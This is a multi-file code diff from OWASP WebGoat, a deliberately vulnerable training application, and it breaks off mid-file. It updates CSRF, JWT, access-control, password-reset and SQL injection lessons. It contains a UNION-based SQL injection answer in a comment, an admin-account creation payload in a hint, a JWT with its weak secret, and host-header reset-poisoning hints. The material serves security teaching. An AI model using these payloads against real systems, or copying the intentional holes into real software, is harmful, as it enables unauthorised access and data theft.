it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/5 (although maybe slightly different). The 'base route' in this case is: it should look something like /WebGoat/start.mvc#lesson/CrossSiteScripting.lesson/9. The 'base route' in this case is:
*start.mvc#lesson/* *start.mvc#lesson/*
The *CrossSiteScripting.lesson/9* after that are parameters that are processed by the javascript route handler.
The *CrossSiteScripting.lesson/#* after that are parameters that are processed by javascript route handler. So, what is the route for the test code that stayed in the app during production?
To answer this question, you have to check the javascript source.
So, what is test route for this test code?

View File

@ -8,4 +8,4 @@ The function you want to execute is ...
Sure, you could just use console/debug to trigger it, but you need to trigger it via a URL in a new tab. Sure, you could just use console/debug to trigger it, but you need to trigger it via a URL in a new tab.
Once you do trigger it, a subsequent response will come to the browser with a random number. Put that random number in below. Once you do trigger it, a subsequent response will come to your browser's console with a random number. Put that random number in below.

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -64,11 +64,11 @@ public class CSRFFeedback extends AssignmentEndpoint {
private boolean hostOrRefererDifferentHost(HttpServletRequest request) { private boolean hostOrRefererDifferentHost(HttpServletRequest request) {
String referer = request.getHeader("referer"); String referer = request.getHeader("referer");
String origin = request.getHeader("origin"); String host = request.getHeader("host");
if (referer != null) { if (referer != null) {
return !referer.contains(origin); return !referer.contains(host);
} else { } else {
return true; //this case referer is null or origin does not matter we cannot compare so we return true which should of course be false return true;
} }
} }

View File

@ -20,7 +20,7 @@
action="/WebGoat/csrf/basic-get-flag" action="/WebGoat/csrf/basic-get-flag"
enctype="application/json;charset=UTF-8"> enctype="application/json;charset=UTF-8">
<input name="csrf" type="hidden" value="false"/> <input name="csrf" type="hidden" value="false"/>
<input type="submit" name="ubmit="/> <input type="submit" name="submit"/>
</form> </form>

View File

@ -16,9 +16,11 @@ the activities of the user.
image::images/login-csrf.png[caption="Figure: ", title="Login CSRF from Robust Defenses for Cross-Site Request Forgery", width="800", height="500", style="lesson-image" link="http://seclab.stanford.edu/websec/csrf/csrf.pdf"] image::images/login-csrf.png[caption="Figure: ", title="Login CSRF from Robust Defenses for Cross-Site Request Forgery", width="800", height="500", style="lesson-image" link="http://seclab.stanford.edu/websec/csrf/csrf.pdf"]
{blank} {blank}
For more information read the following http://seclab.stanford.edu/websec/csrf/csrf.pdf[paper] For more information read the following http://seclab.stanford.edu/websec/csrf/csrf.pdf[paper].
In this assignment try to see if WebGoat is also vulnerable for a login CSRF attack. First create a user In this assignment try to see if WebGoat is also vulnerable for a login CSRF attack.
based on your own username prefixed with csrf. So if your username is `tom` you must create Leave this tab open and in another tab create a user based on your own username prefixed with `csrf-`.
a new user called `csrf-tom` So if your username is `tom` you must create a new user called `csrf-tom`.
Login as the new user. This is what an attacker would do using CSRF. Then click the button in the original tab.
Because you are logged in as a different user, the attacker learns that you clicked the button.

View File

@ -46,7 +46,7 @@ public class CSRFFeedbackTest extends LessonTest {
mockMvc.perform(post("/csrf/feedback/message") mockMvc.perform(post("/csrf/feedback/message")
.contentType(MediaType.TEXT_PLAIN) .contentType(MediaType.TEXT_PLAIN)
.cookie(new Cookie("JSESSIONID", "test")) .cookie(new Cookie("JSESSIONID", "test"))
.header("origin", "localhost:8080") .header("host", "localhost:8080")
.header("referer", "webgoat.org") .header("referer", "webgoat.org")
.content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}")) .content("{\"name\": \"Test\", \"email\": \"test1233@dfssdf.de\", \"subject\": \"service\", \"message\":\"dsaffd\"}"))
.andExpect(jsonPath("lessonCompleted", is(true))) .andExpect(jsonPath("lessonCompleted", is(true)))

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -1,6 +1,6 @@
=== Mitigation === Mitigation
In this simple example you noticed that the price is calculated server side and send to the server. The server In this simple example you noticed that the price is calculated client-side and sent to the server. The server
accepted the input as a given and did not calculate the price again. One of the mitigations in this case is to look up accepted the input as a given and did not calculate the price again. One of the mitigations in this case is to look up
the price of the television in your database and calculate the total price again. the price of the television in your database and calculate the total price again.

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -1,6 +1,7 @@
package org.owasp.webgoat.plugin; package org.owasp.webgoat.plugin;
import com.google.common.collect.Lists; import com.google.common.collect.Lists;
import io.jsonwebtoken.impl.TextCodec;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
@ -23,7 +24,7 @@ import java.util.List;
@AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"}) @AssignmentHints({"jwt-secret-hint1", "jwt-secret-hint2", "jwt-secret-hint3"})
public class JWTSecretKeyEndpoint extends AssignmentEndpoint { public class JWTSecretKeyEndpoint extends AssignmentEndpoint {
public static final String JWT_SECRET = "victory"; public static final String JWT_SECRET = TextCodec.BASE64.encode("victory");
private static final String WEBGOAT_USER = "WebGoat"; private static final String WEBGOAT_USER = "WebGoat";
private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role"); private static final List<String> expectedClaims = Lists.newArrayList("iss", "iat", "exp", "aud", "sub", "username", "Email", "Role");

View File

@ -5,6 +5,7 @@ import io.jsonwebtoken.Claims;
import io.jsonwebtoken.Jwt; import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException; import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts; import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.impl.TextCodec;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentHints;
@ -25,7 +26,6 @@ import java.time.Duration;
import java.time.Instant; import java.time.Instant;
import java.util.Date; import java.util.Date;
import java.util.Map; import java.util.Map;
import java.util.concurrent.TimeUnit;
import static java.util.Comparator.comparingLong; import static java.util.Comparator.comparingLong;
import static java.util.Optional.ofNullable; import static java.util.Optional.ofNullable;
@ -39,7 +39,7 @@ import static java.util.stream.Collectors.toList;
@AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"}) @AssignmentHints({"jwt-change-token-hint1", "jwt-change-token-hint2", "jwt-change-token-hint3", "jwt-change-token-hint4", "jwt-change-token-hint5"})
public class JWTVotesEndpoint extends AssignmentEndpoint { public class JWTVotesEndpoint extends AssignmentEndpoint {
public static final String JWT_PASSWORD = "victory"; public static final String JWT_PASSWORD = TextCodec.BASE64.encode("victory");
private static String validUsers = "TomJerrySylvester"; private static String validUsers = "TomJerrySylvester";
private static int totalVotes = 38929; private static int totalVotes = 38929;

View File

@ -63,15 +63,15 @@ whether the location is still the same if not revoke all the tokens and let the
=== Need for refresh tokens === Need for refresh tokens
Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section Does it make sense to use a refresh token in a modern single page application (SPA)? As we have seen in the section
about storing tokens there are two option: web storage or a cookie which mean a refresh token is right beside an about storing tokens there are two options: web storage or a cookie which mean a refresh token is right beside an
access token, so if the access token is leaked changes are the refresh token will also be compromised. Most of the time access token, so if the access token is leaked chances are the refresh token will also be compromised. Most of the time
there is a difference of course, the access token is send when you make an API call, the refresh token is only send there is a difference of course. The access token is sent when you make an API call, the refresh token is only sent
when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same when a new access token should be obtained, which in most cases is a different endpoint. If you end up on the same
server you can chose to only use the access token. server you can choose to only use the access token.
As stated above using an access token and a separate refresh token gives some leverage for the server not to check As stated above using an access token and a separate refresh token gives some leverage for the server not to check
the access token over and over. Only perform the check when the user needs a new access token. the access token over and over. Only perform the check when the user needs a new access token.
It is certainly possible to only use an access token, at the server you store the exact same information you would It is certainly possible to only use an access token. At the server you store the exact same information you would
store for a refresh token, see previous paragraph. This way you need to check the token each time but this might store for a refresh token, see previous paragraph. This way you need to check the token each time but this might
be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least be suitable depending on the application. In the case the refresh tokens are stored for validation it is important to protect these tokens as well (at least
use a hash function to store them in your database). use a hash function to store them in your database).

View File

@ -9,5 +9,5 @@ dictionary attack is not feasible. Once you have a token you can start an offlin
Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat. Given we have the following token try to find out secret key and submit a new key with the userId changed to WebGoat.
``` ```
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.m-jSyfYEsVzD3CBI6N39wZ7AcdKdp_GiO7F_Ym12u-0 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJpYXQiOjE1MjQyMTA5MDQsImV4cCI6MTYxODkwNTMwNCwiYXVkIjoid2ViZ29hdC5vcmciLCJzdWIiOiJ0b21Ad2ViZ29hdC5jb20iLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQuY29tIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.vPe-qQPOt78zK8wrbN1TjNJj3LeX9Qbch6oo23RUJgM
``` ```

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -13,7 +13,7 @@ import org.springframework.web.bind.annotation.ResponseBody;
@AssignmentPath("/access-control/user-hash") @AssignmentPath("/access-control/user-hash")
@AssignmentHints({"access-control.hash.hint1","access-control.hash.hint2","access-control.hash.hint3", @AssignmentHints({"access-control.hash.hint1","access-control.hash.hint2","access-control.hash.hint3",
"access-control.hash.hint4","access-control.hash.hint5","access-control.hash.hint6","access-control.hash.hint7", "access-control.hash.hint4","access-control.hash.hint5","access-control.hash.hint6","access-control.hash.hint7",
"access-control.hash.hint8","access-control.hash.hint9"}) "access-control.hash.hint8","access-control.hash.hint9","access-control.hash.hint10","access-control.hash.hint11","access-control.hash.hint12"})
public class MissingFunctionACYourHash extends AssignmentEndpoint { public class MissingFunctionACYourHash extends AssignmentEndpoint {
@Autowired @Autowired

View File

@ -1,6 +1,5 @@
package org.owasp.webgoat.plugin; package org.owasp.webgoat.plugin;
import com.sun.org.apache.xpath.internal.axes.HasPositionalPredChecker;
import org.owasp.webgoat.assignments.Endpoint; import org.owasp.webgoat.assignments.Endpoint;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.UserSessionData; import org.owasp.webgoat.session.UserSessionData;
@ -13,9 +12,6 @@ import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import java.sql.*; import java.sql.*;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map;
import static javax.swing.UIManager.getString;
public class Users extends Endpoint{ public class Users extends Endpoint{
@ -51,7 +47,7 @@ public class Users extends Endpoint{
userMap.put("cc", results.getString(3)); userMap.put("cc", results.getString(3));
userMap.put("ccType", results.getString(4)); userMap.put("ccType", results.getString(4));
userMap.put("cookie", results.getString(5)); userMap.put("cookie", results.getString(5));
userMap.put("loginCOunt",Integer.toString(results.getInt(6))); userMap.put("loginCount",Integer.toString(results.getInt(6)));
allUsersMap.put(id,userMap); allUsersMap.put(id,userMap);
} }
userSessionData.setValue("allUsers",allUsersMap); userSessionData.setValue("allUsers",allUsersMap);

View File

@ -11,12 +11,15 @@ access-control.hidden-menus.hint3=Look for something a super-user or administato
access-control.hash.success=Congrats! You really succeeded when you added the user. access-control.hash.success=Congrats! You really succeeded when you added the user.
access-control.hash.close=Keep trying, this one may take several attempts & steps to achieve. See the hints for help. access-control.hash.close=Keep trying, this one may take several attempts & steps to achieve. See the hints for help.
access-control.hash.hint1=If you haven't found the hidden menus from the earlier exercise, go do that now. access-control.hash.hint1=There is an easier way and a 'harder' way to achieve this, the easier way involves one simple change in a GET request.
access-control.hash.hint2=When you look at the users page, there is a hint that more info is viewable by a given role of user. access-control.hash.hint2= If you haven't found the hidden menus from the earlier exercise, go do that first.
access-control.hash.hint3=Have you tried tampering the GET request? Can you find supported or unsupported methods? Can you trigger 500 errors? access-control.hash.hint3=When you look at the users page, there is a hint that more info is viewable by a given role.
access-control.hash.hint4=There are actually two ways to solve this one. The first involves just changing a request header. access-control.hash.hint4=For the easy way, have you tried tampering the GET request? Different content-types?
access-control.hash.hint5=If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it? access-control.hash.hint5=For the 'easy' way, modify the GET request to /users to include 'Content-Type: application/json'
access-control.hash.hint6=If you're still looking for hints ... try changing the Content-type header in the GET request. access-control.hash.hint6=Now for the harder way ... it builds on the easier way
access-control.hash.hint7=The harder way involves changing the Content-type AND the method ... As well as a proper payload for the request. Look at how registration works first and extrapolate out from there. access-control.hash.hint7=If the request to view users, were a 'service' or 'RESTful' endpoint, what would be different about it?
access-control.hash.hint8=See if you can add a user with a webgoat admin role, and if more is visible once you log in as that user. access-control.hash.hint8=If you're still looking for hints ... try changing the Content-type header as in the GET request.
access-control.hash.hint9=If you create a new user with the admin role ... The role should include 'WEBGOAT' and 'ADMIN' in the role name. You'll have to do some guessing beyond that. access-control.hash.hint9=You also need to deliver a proper payload for the request (look at how registration works). This should be formatted in line with the content-type you just defined.
access-control.hash.hint10=You will want to add WEBGOAT_ADMIN for the user's role. Yes, you'd have to guess/fuzz this in a real-world setting.
access-control.hash.hint11=OK, here it is. First, create an admin user ... Change the method to POST, change the content-type to "application/json". And your payload should look something like: {"username":"newUser2","password":"newUser12","matchingPassword":"newUser12","role":"WEBGOAT_ADMIN"}
access-control.hash.hint12=Now log in as that user and bring up WebGoat/users. Copy your hash and log back in to your original account and input it there to get credit.

View File

@ -6,7 +6,7 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<dependencies> <dependencies>

View File

@ -4,7 +4,6 @@ import org.apache.commons.lang3.StringUtils;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.plugin.PasswordResetEmail;
import org.springframework.beans.factory.annotation.Value; import org.springframework.beans.factory.annotation.Value;
import org.springframework.http.MediaType; import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.PostMapping;
@ -14,8 +13,6 @@ import org.springframework.web.client.RestClientException;
import org.springframework.web.client.RestTemplate; import org.springframework.web.client.RestTemplate;
import java.time.LocalDateTime; import java.time.LocalDateTime;
import java.util.Map;
import java.util.Optional;
import static java.util.Optional.ofNullable; import static java.util.Optional.ofNullable;
@ -37,23 +34,10 @@ public class SimpleMailAssignment extends AssignmentEndpoint {
@PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE) @PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE)
@ResponseBody @ResponseBody
public AttackResult sendEmail(@RequestParam Map<String, Object> json) { public AttackResult login(@RequestParam String email, @RequestParam String password) {
String email = (String) json.get("emailReset"); String emailAddress = ofNullable(email).orElse("unknown@webgoat.org");
if (StringUtils.isEmpty(email)) { String username = extractUsername(emailAddress);
email = (String) json.getOrDefault("email", "unknown@webgoat.org");
}
String password = (String) json.getOrDefault("password", "");
int index = email.indexOf("@");
String username = email.substring(0, index == -1 ? email.length() : index);
if (StringUtils.isEmpty(password)) {
return sendEmail(username, email);
} else {
return checkPassword(password, username);
}
}
private AttackResult checkPassword(String password, String username) {
if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) { if (username.equals(getWebSession().getUserName()) && StringUtils.reverse(username).equals(password)) {
return trackProgress(success().build()); return trackProgress(success().build());
} else { } else {
@ -61,6 +45,18 @@ public class SimpleMailAssignment extends AssignmentEndpoint {
} }
} }
@PostMapping(consumes = MediaType.APPLICATION_FORM_URLENCODED_VALUE, value = "/reset")
@ResponseBody
public AttackResult resetPassword(@RequestParam String emailReset) {
String email = ofNullable(emailReset).orElse("unknown@webgoat.org");
return sendEmail(extractUsername(email), email);
}
private String extractUsername(String email) {
int index = email.indexOf("@");
return email.substring(0, index == -1 ? email.length() : index);
}
private AttackResult sendEmail(String username, String email) { private AttackResult sendEmail(String username, String email) {
if (username.equals(getWebSession().getUserName())) { if (username.equals(getWebSession().getUserName())) {
PasswordResetEmail mailEvent = PasswordResetEmail.builder() PasswordResetEmail mailEvent = PasswordResetEmail.builder()

View File

@ -14,16 +14,18 @@
<div class="attack-container"> <div class="attack-container">
<img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/> <img th:src="@{/images/wolf-enabled.png}" class="webwolf-enabled"/>
<div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div> <div class="assignment-success"><i class="fa fa-2 fa-check hidden" aria-hidden="true"></i></div>
<form class="attack-form" accept-charset="UNKNOWN"
method="POST"
action="/WebGoat/PasswordReset/simple-mail"
enctype="application/json;charset=UTF-8">
<div class="container-fluid"> <div class="container-fluid">
<div class="row"> <div class="row">
<div class="col-md-4"> <div class="col-md-4">
<form class="attack-form" accept-charset="UNKNOWN" novalidate="novalidate"
method="POST"
action="/WebGoat/PasswordReset/simple-mail"
enctype="application/json;charset=UTF-8">
<div style="padding: 20px;" id="password-login-2"> <div style="padding: 20px;" id="password-login-2">
<h4 style="border-bottom: 1px solid #c5c5c5;"><i class="glyphicon glyphicon-user"></i> Account <h4 style="border-bottom: 1px solid #c5c5c5;"><i class="glyphicon glyphicon-user"></i>
Account
Access</h4> Access</h4>
<fieldset> <fieldset>
<div class="form-group input-group"> <div class="form-group input-group">
@ -41,7 +43,8 @@
Access Access
</button> </button>
<p class="help-block"> <p class="help-block">
<a class="pull-right text-muted" href="#" id="olvidado" onclick="showPasswordReset()"> <a class="pull-right text-muted" href="#" id="olvidado"
onclick="showPasswordReset()">
<small>Forgot your password?</small> <small>Forgot your password?</small>
</a> </a>
</p> </p>
@ -49,6 +52,12 @@
</fieldset> </fieldset>
</div> </div>
</form>
<form class="attack-form" accept-charset="UNKNOWN" novalidate="novalidate"
method="POST"
action="/WebGoat/PasswordReset/simple-mail/reset"
enctype="application/json;charset=UTF-8">
<div style="display: none;" id="password-reset-2"> <div style="display: none;" id="password-reset-2">
<h4 class="">Forgot your password?</h4> <h4 class="">Forgot your password?</h4>
@ -69,10 +78,10 @@
</fieldset> </fieldset>
</div> </div>
</div>
</div>
</div>
</form> </form>
</div>
</div>
</div>
<br/> <br/>
<br/> <br/>

View File

@ -15,7 +15,7 @@ password-reset-not-solved=Sorry but you did not redirect the reset link to WebWo
password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf. password-reset-hint1=Try to send a password reset link to your own account at {user}@webgoat.org, you can read this e-mail in WebWolf.
password-reset-hint2=Look at the link, can you think how the server creates this link? password-reset-hint2=Look at the link, can you think how the server creates this link?
password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link... password-reset-hint3=Tom clicks all the links he receives in his mailbox, you can use the landing page in WebWolf to get the reset link...
password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090 password-reset-hint4=The link points to localhost:8080/PasswordReset/.... can you change the host to localhost:9090?
password-reset-hint5=Intercept the request and change the host header password-reset-hint5=Intercept the request and change the host header
login_failed=Login failed login_failed=Login failed
login_failed.tom=Sorry only Tom can login at the moment login_failed.tom=Sorry only Tom can login at the moment

View File

@ -14,5 +14,5 @@ The time out is necessary to restrict the attack window, having a link opens up
Tom always resets his password immediately after receiving the email with the link. Tom always resets his password immediately after receiving the email with the link.
Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with Try to reset the password of Tom (tom@webgoat-cloud.org) to your own choice and login as Tom with
that password. that password. Note: it is not possible to use OWASP ZAP for this lesson.

View File

@ -9,7 +9,7 @@
<div class="container"> <div class="container">
<div class="row"> <div class="row">
<div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3"> <div class="col-xs-12 col-sm-8 col-md-6 col-sm-offset-2 col-md-offset-3">
<form role="form" method="POST" action="/WebGoat/PasswordReset/reset/change-password" th:object="${form}"> <form role="form" method="POST" action="/WebGoat/PasswordReset/reset/change-password" th:object="${form}" novalidate="novalidate">
<h2 class="sign_up_title">Reset your password</h2> <h2 class="sign_up_title">Reset your password</h2>
<div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'"> <div class="form-group" th:classappend="${#fields.hasErrors('password')}? 'has-error'">
<input type="hidden" name="resetLink" th:field="*{resetLink}" /> <input type="hidden" name="resetLink" th:field="*{resetLink}" />

View File

@ -5,12 +5,12 @@
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<packaging>pom</packaging> <packaging>pom</packaging>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
<parent> <parent>
<groupId>org.owasp.webgoat</groupId> <groupId>org.owasp.webgoat</groupId>
<artifactId>webgoat-parent</artifactId> <artifactId>webgoat-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
<modules> <modules>

View File

@ -6,6 +6,6 @@
<parent> <parent>
<groupId>org.owasp.webgoat.lesson</groupId> <groupId>org.owasp.webgoat.lesson</groupId>
<artifactId>webgoat-lessons-parent</artifactId> <artifactId>webgoat-lessons-parent</artifactId>
<version>v8.0.0.M17</version> <version>v8.0.0.M22</version>
</parent> </parent>
</project> </project>

View File

@ -1,10 +1,11 @@
package org.owasp.webgoat.plugin.introduction; package org.owasp.webgoat.plugin.advanced;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentHints; import org.owasp.webgoat.assignments.AssignmentHints;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;
import org.owasp.webgoat.assignments.AttackResult; import org.owasp.webgoat.assignments.AttackResult;
import org.owasp.webgoat.plugin.introduction.SqlInjectionLesson5a;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RequestMethod;
@ -55,7 +56,6 @@ public class SqlInjectionLesson6a extends AssignmentEndpoint {
AttackResult completed(@RequestParam String userid_6a) throws IOException { AttackResult completed(@RequestParam String userid_6a) throws IOException {
return injectableQuery(userid_6a); return injectableQuery(userid_6a);
// The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data -- // The answer: Smith' union select userid,user_name, password,cookie,cookie, cookie,userid from user_system_data --
} }
protected AttackResult injectableQuery(String accountName) { protected AttackResult injectableQuery(String accountName) {

View File

@ -1,5 +1,5 @@
package org.owasp.webgoat.plugin.introduction; package org.owasp.webgoat.plugin.advanced;
import org.owasp.webgoat.assignments.AssignmentEndpoint; import org.owasp.webgoat.assignments.AssignmentEndpoint;
import org.owasp.webgoat.assignments.AssignmentPath; import org.owasp.webgoat.assignments.AssignmentPath;

View File

@ -33,7 +33,7 @@ public class SqlInjectionLesson12a extends AssignmentEndpoint {
@SneakyThrows @SneakyThrows
public AttackResult completed(@RequestParam String ip) { public AttackResult completed(@RequestParam String ip) {
Connection connection = DatabaseUtilities.getConnection(webSession); Connection connection = DatabaseUtilities.getConnection(webSession);
PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where ip = ?"); PreparedStatement preparedStatement = connection.prepareStatement("select ip from servers where hostname = 'webgoat-prd' and ip = ?");
preparedStatement.setString(1, ip); preparedStatement.setString(1, ip);
ResultSet resultSet = preparedStatement.executeQuery(); ResultSet resultSet = preparedStatement.executeQuery();
if (resultSet.next()) { if (resultSet.next()) {

View File

@ -20,14 +20,14 @@ SqlStringInjectionHint9=Intercept the request and try to specify a different ord
SqlStringInjectionHint10=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens SqlStringInjectionHint10=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
SqlStringInjectionHint11=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens SqlStringInjectionHint11=Use for example "(case when (true) then hostname else id end)" in the order by and see what happens
sql-injection.5a.success=You have succeed: {0} sql-injection.5a.success=You have succeeded: {0}
sql-injection.5a.no.results=No results matched. Try Again. sql-injection.5a.no.results=No results matched. Try Again.
sql-injection.5b.success=You have succeed: {0} sql-injection.5b.success=You have succeeded: {0}
sql-injection.5b.no.results=No results matched. Try Again. sql-injection.5b.no.results=No results matched. Try Again.
sql-injection.6a.success=You have succeed: {0} sql-injection.6a.success=You have succeeded: {0}
sql-injection.6a.no.results=No results matched. Try Again. sql-injection.6a.no.results=No results matched. Try Again.
sql-injection.6b.success=You have succeed: {0} sql-injection.6b.success=You have succeeded: {0}
sql-injection.6b.no.results=No results matched. Try Again. sql-injection.6b.no.results=No results matched. Try Again.

View File

@ -3,7 +3,7 @@
Lets try to exploit a join to another table. One of the tables in the WebGoat database is: Lets try to exploit a join to another table. One of the tables in the WebGoat database is:
------------------------------------------------------- -------------------------------------------------------
CREATE TABLE user_system_data (userid varchar(5) not null primary key, CREATE TABLE user_system_data (userid int not null primary key,
user_name varchar(12), user_name varchar(12),
password varchar(10), password varchar(10),
cookie varchar(30)); cookie varchar(30));

View File

@ -11,7 +11,7 @@ PreparedStatement ps = null;
RecordSet rs = null; RecordSet rs = null;
try { try {
